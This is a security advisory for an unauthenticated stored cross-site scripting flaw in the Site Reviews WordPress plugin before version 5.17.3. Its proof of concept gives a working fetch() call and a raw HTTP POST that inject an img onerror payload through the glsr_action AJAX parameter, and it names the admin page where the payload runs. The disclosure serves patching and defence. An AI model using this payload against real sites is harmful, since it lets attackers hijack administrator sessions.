Site Reviews < 5.17.3 - Unauthenticated Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape the site-reviews parameter of the glsr_action AJAX action (available to unauthenticated and any authenticated users), allowing them to perform Cross-Site Scripting attacks against logged in admins viewing the Tool dashboard of the plugin

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php?action=glsr_action", {

  "headers": {

    "content-type": "application/x-www-form-urlencoded",

  },

  "body": "site-reviews[0]=</textarea><img+src+onerror=alert(1)>",

  "method": "POST",

  "credentials": "include"

})

  .then(response => response.text())

  .then(data => console.log(data));



POST /wp-admin/admin-ajax.php?action=glsr_action HTTP/1.1

Accept: */*

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

content-type: application/x-www-form-urlencoded

Content-Length: 57

Connection: close



site-reviews[0]=</textarea><img+src+onerror=alert(/XSS/)>



The XSS will be triggered when viewing the Tool dashboard of the plugin (/wp-admin/edit.php?post_type=site-review&page=glsr-tools)